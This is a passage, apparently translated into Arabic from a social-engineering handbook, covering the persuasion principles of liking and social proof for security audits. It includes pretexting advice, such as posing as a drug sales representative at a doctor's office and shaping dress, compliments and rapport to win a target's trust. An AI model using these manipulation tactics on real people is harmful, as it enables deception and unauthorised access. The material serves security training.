‫وﻟﻛﻧﮭﺎ ﻗد ﺗﻛون ﻣزﯾﺟﺎ‪ ،‬واﻟﺗﻲ ﻗد ﺗﻛون ﺟذاﺑﺔ ﻟﻠﻌدﯾد ﻣن اﻷﺟﻧﺎس وﻏﯾر ﻗﺎﺑﻠﺔ ﻟﻠﮭﺟوم ﻋﻠﻰ اﻷﻛﺛر‪.‬‬
‫"أﻧﺎ ﻓﻲ ھذا اﻻﻋﻼن ﻻن أﺑﺣﺎث اﻟﺗﺳوق ﺗظﮭر اﻟﻔﺗﯾﺎت ﻣﺛﻠك ﺗﺣب اﻟﻔﺗﯾﺎت ﻣﺛﻠﻲ"‪.‬‬
‫ﺟﻣﺎﻟﮭﺎ وﺛﻘﺗﮭﺎ ﺑﻧﻔﺳﮭﺎ ﯾﺟﻌﻠﻧﺎ ﻧﻌﺟب ﺑﮭﺎ‪ .‬ﻓﺎﻧﮭم ﯾردون ﻣﻼﺑس أﻧﯾﻘﺔ‪ ،‬ﯾﺗﻛﻠﻣون ﺟﯾدا‪ ،‬وﻧرﯾد أن ﻧﻌرﻓﮭم‪.‬‬
‫ﺛم ﺑﻌد ذﻟك ﺗﺄﺧذ اﻟﻛﺎﻣﯾرا ﻟﻘطﺎت ﻣﺧﺗﻠﻔﺔ ﻟﮭﺎ ﻋﻧد اﻟﻘﯾﺎم ﺑﺄﺷﯾﺎء ﻣﺛل اﻟﻛﯾك ﺑوﻛﺳﯾﻧﻎ‪ ،‬اﻟﺗﺷﺟﯾﻊ‪ ،‬واﻟﻠﻌب ﻣﻊ اﻟزھور‪ .‬ﻣن ﺧﻼل ﻋرض ﻣﺷﺎھد أﻧﮭﺎ‬
‫ﯾﻣﻛن أن ﺗﻔﻌل ﻛل ھذه اﻷﺷﯾﺎء ﻓﻲ ﺣﯾن إﻧﮭﺎ ﺟﻣﯾﻠﺔ ﻛﻣﺎ ھﻲ‪ ،‬ﻓﯾؤدى ھذا اﻟﻰ أن ﻧﻧظر ﻟﮭﺎ ﺑﺎﻋﺗﺑﺎرھﺎ ﻗوﯾﺔ وذات ﻧﻔوذ‪ ،‬وﺟﻣﯾﻊ اﻷﺷﯾﺎء اﻟﺗﻲ‬
‫ﺗﻔﻌﻠﮭﺎ ﺟﯾدة‪.‬‬
‫"اﻵن اﻧﺎ ذاھﺑﮫ ﻷﻗول ﻟﻛم ﺷﻲء ﻣﺎ ﻟﺗﺷﺗروه"‪...‬‬
‫ﺛم ﺗﻣﺿﻲ ﻟﺷراء اﻟﺣﻔﺎظﺎت‪/‬اﻟﻔوط اﻟﻧﺳﺎﺋﯾﺔ )‪ .(tampons‬ھذا اﻹﻋﻼن اﻟﺗﺟﺎري ھو ﻋﺑﻘري‪ ،‬ﻷن اﻟﻣﻌﻠن ﯾﺣدد ﻓﻲ اﻟواﻗﻊ‪ ،‬ﯾﺳﺗﺧدم‪ ،‬وﯾﺛﻘف‬
‫اﻟﻣﺳﺗﮭﻠك ﻋﻠﻰ اﻷﺳﺎﻟﯾب اﻟﻣﺳﺗﺧدﻣﺔ اﻟﺗﻲ ﺗﺟﻌﻠك ﺗرﻏب ﻓﻲ اﻟﺷراء‪ .‬وﻟﻛن ﻋﻠﻰ اﻟرﻏم ﻣن ﻛل ذﻟك‪ ،‬ﻓﺎن اﻟﻣﺑدأ اﻟﻘﺎﺋم ﻋﻠﯾﮫ ھذا اﻻﻋﻼن ھو‬
‫ﺟﻌﻠﮫ ﯾروق ﻟك واﺳﺗﺧدام ﺗﺄﺛﯾر اﻟﮭﺎﻟﺔ‪.‬‬
‫ﻣﻌرﻓﺗك ﻋن ﻛل ھذا ﻋن أھﻣﯾﺔ اﻻﻋﺟﺎب )‪ ،(liking‬ﻣﺎذا ﯾﻣﻛﻧك أن ﺗﻔﻌل؟ ﻟدي ﻣﺎ ﯾﻛﻔﻲ ﻣن اﻟوﻗت ﻣن اﻟﺻﻌب أن ﺗﺻﺑﺢ اﻟذﻛور ﺟذاﺑﺔ‪،‬‬
‫ﻧﺎھﯾك ﻋن اﻣرأة ﺟذاﺑﺔ‪ .‬ﻧﺎھﯾك ﻋن ﺟراﺣﺎت اﻟﺗﺟﻣﯾل واﻟﺗﻲ ﻣن اﻟﻣﻣﻛن أن ﺗﻌﻣل‪ ،‬ھل ھﻧﺎك أي ﺷﻲء ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن اﻟﻘﯾﺎم ﺑﮫ‬
‫ﻟﻼﺳﺗﻔﺎدة ﻣن ھذا اﻟﻣﺑدأ؟‬
‫ﻣﻌرﻓﺔ ھدﻓك‪ .‬ﻣﻌرﻓﺔ ﻣﺎ ھو ﻣﻘﺑول وﻣﺎ ھو ﻏﯾر ﻣﻘﺑول ﻟﮫ‪ .‬ﻛﯾف ھو ﯾﻠﺑس‪ ،‬ﻣﺎ ھو اﻟﻣﻧظور اﻟﺳﻲء واﻟﺟﯾد ﻣن وﺟﮭﺔ ﻧظره؟ اﻟﻛﺛﯾر ﻣن‬
‫اﻟﻣﺟوھرات‪ ،‬اﻟﻣﺎﻛﯾﺎج‪ ،‬ﺟﺎﻧﺑﺎ أو آﺧر ﻣن اﻟﻠﺑﺎس ﯾﻣﻛن إﯾﻘﺎف اﻟﮭدف‪ .‬ﻟﻧﻔﺗرض إﻧك ﺗﻘوم ﺑﺎﻟﺗدﻗﯾﻖ ﻟﻌﯾﺎدة طﺑﯾب واﻟذرﯾﻌﺔ اﻟﺧﺎص ﺑك ھو ﻣﻧدوب‬
‫ﻣﺑﯾﻌﺎت اﻟﻣﺧدرات‪ .‬ھل ﺗﻌﻠم أن ﻣﻌظم ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت ﯾرﺗدون اﻟﺑدل‪ .‬ذات ﺷﻌر ﺟﯾد؛ ﻧظرة‪ ،‬راﺋﺣﺔ‪ ،‬وﺗﺻرف ﺑﺛﻘﺔ‪ ،‬ﺳﻣﺔ ﻟﻛﺛﯾر ﻣن اﻟﻧﺎس‬
‫ﺟذاﺑﺔ‪ ،‬ﻟذﻟك ﻓﺎن اﻟﻣﺷﻲ ﻣﻊ ﺷﻌر اﺳﺑﺎﯾﻛد وﺛﻘب ﻓﻲ اﻟوﺟﮫ ﻣن ﺷﺄﻧﮫ أن ﯾوﺟﮫ اﻟﻣزﯾد ﻣن اﻻھﺗﻣﺎم ﻟﻧﻔﺳك ﻋن ھدﻓك‪.‬‬
‫ﯾﺟب أن ﺗﻌرف اﻟﮭدف اﻟﺧﺎص ﺑك ﺣﺗﻰ ﯾﻣﻛﻧك أن ﺗﺑﺣث ﻋن اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﺗوﻗﻌﮭﺎ اﻟﮭدف ﺑﻧﺟﺎح‪ .‬ارﺗداء اﻟﻣﻼﺑس وﺗﺳرﯾﺣﺎت اﻟﺷﻌر‪،‬‬
‫واﻟﻣﺟوھرات‪ ،‬وﻣﺎﻛﯾﺎج اﻟﺗﻲ ﻟن ﺗﺻدم اﻟﮭدف‪ ،‬ﺗﺻﯾﺑﮫ ﺑﺎﻟﻣﻔﺎﺟﺄة‪ ،‬أو اﻻﺷﻣﺋزاز‪ .‬طرح رأﯾﮫ ﻓﻲ ﺳﮭوﻟﺔ ﯾﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﺧﻠﻖ ﺟو ﺣﯾث‬
‫ﺗروق ﻟﮫ‪ ،‬واﻟﺗﻲ ﺳوف ﺗﻘوم ﺑﺑﻧﺎء اﻟﺛﻘﺔ وﺗؤدي إﻟﻰ اﻟﻧﺟﺎح‪.‬‬
‫ﻣرة أﺧرى اﻟﻧﺎس ﺗﺣب ﻣﺎ ھو ﺟﻣﺎﻟﯾﺎ‪ .‬وھذا ﯾﺗراوح ﻣن اﻟﺟﺎذﺑﯾﺔ اﻟﻣﺎدﯾﺔ اﻟﻰ ﺗﺻﻣﯾم اﻟﻣﻧﺗﺞ‪ .‬اﻟﻌﺑﺎرة‪" ،‬اﻟﺟﻣﺎل ﻓﻲ ﻋﯾن اﻟﻧﺎظر"‪ .‬ﻓﮭم ﻣﺎ ﯾراه‬
‫اﻟﮭدف اﻟﺧﺎص ﺑك ﻋﻠﻰ اﻧﮫ ﺟذاﺑﺎ ﯾﻣﻛن أن ﯾﻛون ﺗﺣدﯾﺎ‪ .‬ﻋﻧﺎﺻر اﻹرﺿﺎء اﻟﺑﺻري ھﻲ اﻟﻌﻧﺎﺻر اﻟﺗﻲ ﺗرﺿﻰ ﻋﻧﮭﺎ اﻟﻧﺎس‪.‬‬
‫ﯾﻣﻛن إﺛﺑﺎت ھذه اﻟرﻏﺑﺔ ﻓﻲ إﻧﺗﺎج ﻣﻧﺗﺟﺎت إرﺿﺎء ﺑﺻرﯾﮫ ﺑﺎﻟﺗﻐﯾﯾرات ﻓﻲ ﺗﺻﻣﯾم واﺟﮭﺔ اﻟﻣﺳﺗﺧدم ﻋﻠﻰ أﺟﮭزة اﻟﻛﻣﺑﯾوﺗر اﻟﺷﺧﺻﯾﺔ‪ .‬وﻗد‬
‫اﺗﺧذت اھﺗﻣﺎﻣﺎ ﻛﺛﯾرا ﻓﻲ اﻟﻣرة اﻷﺧﯾرة ﻹﻧﺗﺎج ﺗﺟرﺑﺔ ﻹرﺿﺎء اﻟﻣﺳﺗﺧدم ﻟزﯾﺎدة ﻣﻘدار اﻟوﻗت اﻟﺗﻲ ﺳوف ﯾﻣﺿﯾﮫ ﻣﻊ اﻟﻣﻧﺗﺞ‪ .‬ﺗﺻﻣﯾم ﻣواﻗﻊ‬
‫اﻹﻧﺗرﻧت‪ ،‬واﻟﮭﻧدﺳﺔ اﻟﺻﻧﺎﻋﯾﺔ‪ ،‬وﺗﺻﻣﯾم اﻟﺷﻌﺎر ﻛﻠﮭﺎ أﻣﺛﻠﺔ ﻋﻠﻰ ﺻﻧﺎﻋﺔ رأس اﻟﻣﺎل واﻟﺗﻲ ﺳوف ﺗﺳﺗﺛﻣر ﻓﻲ إﻧﺗﺎج ﺟﻣﺎﻟﯾﺎت اﻟﻣﻧﺗﺞ‪ ،‬ﻛﻣﺎ أﻧﮫ‬
‫ﯾؤﺛر ﻋﻠﻰ ﻋدد اﻟﻣﺑﯾﻌﺎت‪.‬‬
‫اﻟﻧﺎس ﺗﺣب ﻣﺎ ھو ﻣﺄﻟوف ﻟﮭﺎ‪ .‬أﺷﯾﺎء ﺟدﯾدة ﺗﺟﻌل ﻏﺎﻟﺑﯾﺔ اﻟﻧﺎس ﯾﺷﻌرون ﺑﻌدم اﻻرﺗﯾﺎح‪ ،‬اﻷﻣر اﻟذي ﯾؤدي إﻟﻰ اﻟﮭدف اﻟذي ﯾرﯾد اﻻﻧﺳﺣﺎب ﻣن‬
‫اﻟﺣﺎﻟﺔ‪ .‬وھذا ﯾﻣﻛن أن ﯾﺗﺧذھﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻛﻣﯾزة ﺑﺎﺳﺗﺧدام اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗم ﺟﻣﻌﮭﺎ وﺑﺎﺳﺗﺧدام اﻟﻣﻔﺎھﯾم واﻟﻠﻐﺔ واﻟﻣظﮭر اﻟذي ﺳوف‬
‫ﯾﻛون ﻋﻠﻰ دراﯾﺔ ﺑﺎﻟﮭدف‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن أن ﯾﻧظر اﻟﻰ اﻷﺷﯾﺎء ﻟﯾﺗﻛﺎﻣل ﻣﻊ اﻟﮭدف‪ .‬وذﻟك ﻋﻧد اﻟﺗﻌﺎﻣل ﻣﻊ اﻟﮭدف‪ ،‬وﻋﻧد اﻻﻗﺗﺿﺎء‪ ،‬ﺑدأ اﻟﻣﺣﺎدﺛﺔ ﻣﻊ ﺳؤال‬
‫ﺑﺳﯾط )ﻣﺛل "ذﻟك ﺣذاء ﻟطﯾف؟ ﻣن أﯾن اﺷﺗرﯾت ھذا"( أﻣر ﻣﻔﯾد‪ .‬اﻟﻧﺎس ﺗﺟب اﻟﺗﻌزﯾز اﻹﯾﺟﺎﺑﻲ‪ .‬ﻋﻧدﻣﺎ ﯾﺗﻠﻘﻰ اﻟواﺣد اﻟﻣدﯾﺢ ﻣن آﺧر‪ ،‬ﻓﺎﻧﮫ ﯾﻣﯾل‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪921‬‬

‫اﻟﻰ اﻟﺑﻘﺎء ﻣﺗﻌﺎﻣﻼ ﻣن أﺟل اﻟﺣﺻول ﻋﻠﻰ اﻟﺗﻌزﯾز أﻛﺛر إﯾﺟﺎﺑﯾﺔ‪ .‬ھذه اﻟﻣﺟﺎﻣﻼت ﺗﻣﯾل إﻟﻰ ﺗﻌزﯾز اﻟﺻورة اﻟذاﺗﯾﺔ واﻟﮭدف‪ ،‬ﻣﻣﺎ ﺟﻌﻠﮫ ﯾﺷﻌر ﻛﻣﺎ‬
‫ﻟو ﻛﺎن ﻟدﯾك ﻓﮭم ﻋﻧﮫ أﻛﺑر ﻣن اﻟﻣﻌﺗﺎد‪.‬‬
‫أﺻدرت ﺟﺎﻣﻌﺔ ﻣﯾﻧﯾﺳوﺗﺎ ﻣﻘﺎﻟﮫ ﺣول اﻟﺗﻌزﯾز اﻟﺗﻲ ﺗﻧص ﻋﻠﻰ أن اﻟﻛﺛﯾر ﻣن اﻟﺗﻌزﯾز اﻹﯾﺟﺎﺑﻲ ﯾﻣﻛن أن ﯾﻛون ﻟﮭﺎ ﺗﺄﺛﯾر ﺳﻠﺑﻲ‪ .‬ﯾﺳﻣوﻧﮫ اﻟﺷﺑﻊ‪،‬‬
‫ﻣﻣﺎ ﯾﻌﻧﻲ أﻧﮫ ﻋﻧدﻣﺎ ﯾﺗم إﻋطﺎء اﻟﺗﻌزﯾز ﻛﺛﯾرا ﻓﺄﻧﮫ ﯾﺑدأ ﻓﻲ ﻓﻘد ﻓﻌﺎﻟﯾﺗﮭﺎ‪ .‬ﻟﻣﻛﺎﻓﺣﺔ ھذا اﻟﺗﺄﺛﯾر‪ ،‬ﯾﻣﻛﻧك اﺳﺗﺧدام اﻟﺗﻌزﯾز اﻹﯾﺟﺎﺑﻲ اﻟﻣدﻋوم ﺑﺳؤال‪.‬‬
‫ھذه اﻟطرﯾﻘﺔ ﺗﻌزز اﻟﺳﻠوك اﻹﯾﺟﺎﺑﻲ أو اﻟوﺿﻊ وﻟﻛن أﯾﺿﺎ ﺗﺟﻌل اﻟﻧﺎس ﺳﻌداء ﻛﻣﺎ ھو ﯾطﻠب ﻋن أﻧﻔﺳﮭم‪.‬‬
‫أرﺑﻊ ﺧطوات ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻋﻠﻰ ﺟﻌل اﻟﻧﺎس ﯾﻌﺟﺑون ﺑك‪:‬‬
‫‪ .1‬ﻣﺷروع ﺛﻘﺔ وإﯾﺟﺎﺑﯾﺔ اﻟﺳﻠوك‪.‬‬
‫‪ .2‬ﺗﺄﺳﯾس اﻟﻌﻼﻗﺔ‪.‬‬
‫‪ .3‬اﻟﺗزاﻣن‪ ،‬أو اﻟﺣﺻول ﻋﻠﻰ اﻧﺳﺟﺎم ﻣﻊ اﻟﮭدف واﻟﻣﻧﺎطﻖ اﻟﻣﺣﯾطﺔ ﺑﮫ ﺑﺎﺳﺗﺧدام اﻟطرق اﻟﻣذﻛورة ﺳﺎﺑﻘﺎ‪.‬‬
‫‪ .4‬اﻟﺗواﺻل ﺑﺷﻛل ﻓﻌﺎل‪.‬‬
‫ﻓﻲ ﻛﺗﺎب ﻛﯾف ﺗﺟﻌل اﻟﻧﺎس ﺗﺣﺑك ﻓﻲ ‪ 90‬ﺛﺎﻧﯾﺔ )‪ ،(How to Make People Like You in 90 Seconds‬ﯾﻘول ﻧﯾﻛوﻻس ﺑوﺛﻣﺎن أن‬
‫اﻟﻧﺎس ﺗﻘرر ﻣﺎ إذا ﻛﺎﻧت ﺗرﻏب ﻓﻲ اﻟﺷﺧص ﻣن أول أﺛﻧﯾن ﻣن اﻟﺛواﻧﻲ اﻷوﻟﻰ ﻣن اﻟﻠﻘﺎء ﻣﻌﮫ‪ .‬ﺑﻌد ﺻﻧﻊ اﻻﻧطﺑﺎع اﻻوﻟﻰ ﻓﺄﻧﮫ ﻣن اﻟﺻﻌب‪ .‬اﻧﮫ‬
‫ﯾروج اﻟدﺧول ﻓﻲ اﻟﺗﻔﺎﻋل ﻣﻊ ﺣﺳن اﻟﺧﻠﻖ‪ .‬اﻟﻘدرة ﻋﻠﻰ اﻟﺗﺣدث واﻟﺗواﺻل ﺑﺷﻛل ﻓﻌﺎل ﻓﻲ اﻟﻌدﯾد ﻣن اﻟﺣﺎﻻت اﻟﻣﺧﺗﻠﻔﺔ ﯾﻣﻛن أن ﺗﺟﻌﻠك أﻛﺛر‬
‫ﻣﺣﺑوب‪ .‬ﻣﺎ ھو ﻣﺷروﻋك ﻋﻠﻰ اﻵﺧرﯾن ھو ﻣﺎ ﺳوف ﯾﺷﻌرون ﺑﮫ‪ .‬ﺗﻌﺑﯾرات وﺟﮭك‪ ،‬ﻟﻐﺔ اﻟﺟﺳد‪ ،‬اﻟﻣﻠﺑس‪ ،‬وھﻠم ﺟرا ﯾﺟب ان ﺗﻌﻣل ﻋﻠﻰ‬
‫اﻟﻣﺷﺎرﯾﻊ ﺟﯾدة‪ ،‬واﻟﻣوﻗف إﯾﺟﺎﺑﻲ‪.‬‬
‫ﯾﻘول ﻧﯾﻛوﻻس ﺑوﺛﻣﺎن ﺑﻌض اﻻﻣور اﻟﻣﮭﻣﺔ ﻓﻲ ﻛﺗﺎﺑﮫ ﻋن ﺟﻌل ﻛوﻧك ﻣﺣﺑوﺑﺎ‪ ،‬ﺑﻣﺎ ﻓﻲ ذﻟك طرح اﻟﻛﺛﯾر ﻣن اﻷﺳﺋﻠﺔ‪ ،‬واﻻﺳﺗﻣﺎع ﺑﻧﺷﺎط‪ ،‬وﺗﻛون‬
‫ﻣﮭﺗﻣﺎ ﻓﯾﻣﺎ ﯾﻘوﻟﮫ اﻟﻧﺎس‪ .‬ﻓﻌل ھذه اﻷﺷﯾﺎء ﺗﺳﺎﻋد ﻋﻠﻰ ﺟﻌل اﻟﻧﺎس ﯾﺣﺑوﻧك‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻗد ﯾﺣﺗﺎج ﻟﻣﻣﺎرﺳﺔ ذﻟك‪ ،‬وﻟﻛن ﻛوﻧﮫ ﻣﺣﺑوﺑﺎ ﺳوف ﯾﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو اﻟﻧﺟﺎح ﻓﻲ ﻋﻣﻠﯾﺎت اﻟﺗدﻗﯾﻖ اﻟﺧﺎﺻﺔ ﺑك‪.‬‬
‫اﻹﺟﻤﺎع أو اﻟﺪﻟﯿﻞ اﻻﺟﺘﻤﺎﻋﻲ )‪(Consensus or Social Proof‬‬
‫اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ )‪ (Social Proof‬ھﻲ ظﺎھرة ﻧﻔﺳﯾﺔ ﺗﺣدث ﻓﻲ اﻟﻣواﻗف اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻧدﻣﺎ ﯾﻛون اﻟﻧﺎس ﻏﯾر ﻗﺎدرﯾن ﻋﻠﻰ ﺗﺣدﯾد اﻟوﺿﻊ‬
‫اﻟﻣﻧﺎﺳب ﻣن اﻟﺳﻠوك‪ .‬ﺣﯾث ﯾﻣﻛﻧك ﺑﺳﮭوﻟﺔ اﻓﺗراض اﻟﺳﻠوك اﻟﻣﻧﺎﺳب إذا رأﯾت اﻵﺧرﯾن ﯾﺗﺻرﻓوا أو ﯾﺗﺣدﺛوا ﺑطرﯾﻘﺔ ﻣﻌﯾﻧﺔ‪ .‬اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ‬
‫ﺑﺷﻛل ﻋﺎم ﯾﻣﻛن أن ﺗؤدي إﻟﻰ ﺗﺄﻛﯾد ﻣﺟﻣوﻋﺎت ﻛﺑﯾرة ﻣن اﻷﻓراد ﻓﻲ أي ﻣن ﺧﯾﺎراﺗﮭم اﻟﺻﺣﯾﺣﺔ أو اﻟﺧﺎطﺋﺔ‪ .‬ھذا اﻟﺳﻠوك ھو ﺷﺎﺋﻊ ﻋﻧدﻣﺎ‬
‫ﯾدﺧل اﻟﻧﺎس إﻟﻰ ﺣﺎﻻت ﻏﯾر ﻣﺄﻟوﻓﺔ وﻟﯾس ﻟﮭﺎ إطﺎر ﻣرﺟﻌﻲ ﺣول ﻛﯾﻔﯾﺔ اﻟﺗﻌﺎﻣل ﻣﻊ ھذه اﻟﺣﺎﻟﺔ؛ أﻧﮭﺎ ﺗﻌﻛس ﺳﻠوﻛﮭم ﻣن اﻵﺧرﯾن اﻟذﯾن‬
‫ﯾﻔﺗرﺿون أﻧﮭم ھم أﻛﺛر دراﯾﺔ وﺑﺎﻟﺗﺎﻟﻲ ﻣﻌرﻓﮫ أﻓﺿل‪.‬‬
‫ﻓﻲ ﻛﺗﺎﺑﮫ‪ ،‬اﻟﺗﺄﺛﯾر‪ :‬ﺳﯾﻛوﻟوﺟﯾﺔ اﻹﻗﻧﺎع )‪ ،(Influence: The Psychology of Persuasion‬ﯾﻘول اﻟدﻛﺗور روﺑرت ﺳﯾﺎﻟدﯾﻧﻰ‪ " ،‬اﻟدﻟﯾل‬
‫اﻻﺟﺗﻣﺎﻋﻲ‪-‬اﻟﻧﺎس ﺳوف ﺗﻔﻌل اﻷﺷﯾﺎء اﻟﺗﻲ ﯾرون اﻵﺧرون ﯾﻘوﻣون ﺑﮭﺎ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻓﻲ إﺣدى اﻟﺗﺟﺎرب‪ ،‬ﻋﻧدﻣﺎ ﯾﻘوم واﺣد أو أﻛﺛر‬
‫ﺑﺎﻟﻧظر اﻟﻰ اﻟﺳﻣﺎء‪ .‬ﻓﺎن اﻟﻣﺎرة ﺳوف ﯾﻧظرون اﻟﻰ اﻟﺳﻣﺎء ﻟرؤﯾﺔ ﻣﺎ ﻛﺎﻧوا ﯾﺷﺎھدوﻧﮫ‪ .‬ﻋﻧد ﻧﻘطﺔ واﺣدة ﺗم إﺣﺑﺎط ھذه اﻟﺗﺟرﺑﺔ‪ ،‬ﺣﯾث أن اﻟﻛﺛﯾر‬
‫ﻣن اﻟﻧﺎس ﻛﺎﻧوا ﯾﻧظرون ﺣﺗﻰ ان ﺣرﻛﺔ اﻟﻣرور ﺗوﻗﻔت"‪.‬‬
‫ﺳوف أﺗﻧﺎول ﺑﻌض اﻷﻣﺛﻠﺔ اﻟﻣﻣﺗﺎزة ﻋن اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﺳﺎﻋدك ﻋﻠﻰ ﻣﻌرﻓﺔ ﻣدى ﻗوﺗﮫ وإذا ﻛﻧت ﻗد ﺳﻘطت ﻓﯾﮭﺎ ﻣن ﻗﺑل‬
‫ﻓﻲ أي وﻗت ﻣﺿﻰ‪.‬‬
‫اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ )‪ (Social Proof‬ﯾﺳﺗﺧدم ﺑﺷﻛل ﻛﺑﯾر ﻓﻲ اﻟﺗﺳوﯾﻖ‪ .‬اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ )‪ (Social Proof‬ﯾﺳﺗﺧدم ﻓﻲ اﻟﻣﺑﯾﻌﺎت ﻋﻧدﻣﺎ ﯾﺗم‬
‫إطﻼق أرﻗﺎم ﻣﺑﯾﻌﺎت ﻋﺎﻟﯾﺔ‪ ،‬ﻣﻣﺎ ﯾدل اﻟزﺑﺎﺋن اﻟﻣﺣﺗﻣﻠﯾن أن اﻟﻣﻧﺗﺞ ذات ﺷﻌﺑﯾﺔ‪ .‬ﻣﺛﺎل آﺧر ھو ﻋﻧدﻣﺎ ﺗطﻠﻖ اﻟﺷرﻛﺎت اﻟﻘﻣﺻﺎن ﻣﻊ اﻟﺷﻌﺎرات أو‬
‫اﻟﺷﻌﺎرات اﻟﻣطﺑوﻋﺔ ﻋﻠﯾﮭﺎ‪ ،‬ﺣﯾث ارﺗداﺋﮫ ﯾﻌطﻲ ﺗﺄﯾﯾد ﺿﻣﻧﻲ‪.‬‬
‫اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ )‪ (Social Proof‬ﻻ ﯾﺗﺄﺛر ﻓﻘط ﻋن طرﯾﻖ ﻣﺟﻣوﻋﺎت ﻛﺑﯾرة‪ ،‬وﻟﻛن أﯾﺿﺎ ﻣن ﻗﺑل اﻷﻓراد رﻓﯾﻌﺔ اﻟﻣﺳﺗوى‪ .‬ﻋﻠﻰ ﺳﺑﯾل‬
‫اﻟﻣﺛﺎل‪ ،‬رﺑط أﺣد اﻟﻣﺷﺎھﯾر ﻣﻊ اﻟﻣﻧﺗﺞ ﯾﺟﻌل اﻟﺑﻌض اﻵﺧر ﯾرﯾد أن ﯾرﺗﺑط اﻟﺻﻔﺎت اﻹﯾﺟﺎﺑﯾﺔ ﻟﻠﻣﺷﺎھﯾر‪ ،‬وأﻧﮭﺎ ﺳوف ﺗﺳﺗﺧدم ﻧﻔس اﻟﻣﻧﺗﺞ‪.‬‬
‫ﯾوﺟد اﻟﻌدﯾد ﻣن اﻷﻣﺛﻠﺔ ﻋﻠﻰ ﻣواﻓﻘﺎت اﻟﻣﺷﺎھﯾر‪ ،‬وھﻧﺎ ﻣﺟرد أﻣﺛﻠﺔ ﻗﻠﯾﻠﺔ‪:‬‬
‫‪ -‬اﻟﻣورد اﻟرﺋﯾﺳﻲ ﻟﻠﻘﺑﻌﺎت أﺻﺑﺣت ﻗﺎدرة ﻋﻠﻰ اﻟﺣﺻول ﻋﻠﻰ ﺻﺎﻣوﯾل ﺟﺎﻛﺳون ﻟﺗﺄﯾﯾد ﻣﻧﺗﺟﺎﺗﮭﺎ‪ ،‬ﻗﺑﻌﺔ ﻛﻧﺟول )‪.(Kangol hat‬‬
‫‪ -‬ﻓﻲ ﻋﺎم ‪ 2010‬ﺗم دﻓﻊ اﻟﻣﻼﯾﯾن ﻟﻣﺎرﯾﺎ ﺷﺎراﺑوﻓﺎ ﻓﻲ ‪ USD‬ﺳﻧوﯾﺎ ﻟﺗﺄﯾﯾد ﻣﻧﺗﺟﺎت ﻛﺎﻧون )‪.(Canon‬‬
‫‪ -‬ﻛﺎﺛرﯾن زﯾﺗﺎ ﺟوﻧز ﻗﺎﻣت ﺑﺗﺄﯾﯾد ﻣﻧﺗﺟﺎت ‪ T-Mobile‬ﻓﻲ إﻋﻼﻧﺎت اﻟﺗﻠﻔزﯾون واﻹﻋﻼﻧﺎت اﻟﻣطﺑوﻋﺔ ﻟﺗﺻل ﻗﯾﻣﺗﮭﺎ إﻟﻰ ‪ 20‬ﻣﻠﯾون‬
‫دوﻻر أﻣرﯾﻛﻲ‪.‬‬
‫‪ -‬ﻓﻲ ﻋﺎم ‪ ،2009‬ﺗم دﻓﻊ ﻟﺗﺎﯾﺟر وودز أﻛﺛر ﻣن ‪ 100‬ﻣﻠﯾون دوﻻر ﻓﻲ ‪ USD‬ﻣن اﺟل ﺗﺄﯾﯾد ﻣﻧﺗﺟﺎت ﻣﺛل‪ ، AT&T‬ﺟﺎﺗورﯾد‪،‬‬
‫ﺟﯾﻠﯾت‪ ،‬ﻧﺎﯾك )‪ (Nike‬ﺟوﻟف و ‪TAG HEUER‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل اﻟﺗﻲ ﻻ اﻟﺣﺻر‪.‬‬
‫‪ -‬ﻣﺎﯾﻛل ﺟوردان ﻻ ﯾزال ﯾﺗﻘﺎﺿﻰ ‪ 45‬ﻣﻠﯾون دوﻻر أﻣرﯾﻛﻲ ﺳﻧوﯾﺎ ﻟﺗﺄﯾﯾد ﻧﺎﯾك )‪.(Nike‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪922‬‬

‫ھﻧﺎك ﺣﺗﻰ ﺑﻌض ﻣواﻓﻘﺎت اﻟﻣﺷﺎھﯾر اﻷﻛﺛر ﻏراﺑﺔ ﻣﺛل‪:‬‬

‫‪ -‬اوزي اوزﺑورن ﺗﺄﯾﯾد ‪.I Can't Believe It's Not Butter‬‬
‫‪ -‬ﻣﯾﺧﺎﺋﯾل ﺟورﺑﺎﺗﺷوف ﺗﺄﯾﯾد ‪.Louis Vuitton‬‬
‫‪ -‬ﺑن ﺳﺗﯾﻠر ﺗﺄﯾﯾد اﻟﻣﺷروﺑﺎت اﻟﻛﺣوﻟﯾﺔ ‪ Chu High‬ﻟﻠﻣﺷﺎھد اﻟﯾﺎﺑﺎﻧﻲ‪.‬‬
‫ﻟﻣﺎذا ھذه اﻟﺷرﻛﺎت ﺗﻧﻔﻖ اﻟﻛﺛﯾر ﻟﻣﺟرد اﻟﺣﺻول ﻋﻠﻰ ﺗﺄﯾﯾد اﻟﻣﺷﺎھﯾر ﻟﻣﻧﺗﺟﺎﺗﮭﺎ؟ ھو ﺑﺎﻟﺿﺑط ﻛﯾﻔﯾﺔ ﻋﻣل اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻋﻧدﻣﺎ ﯾرى‬
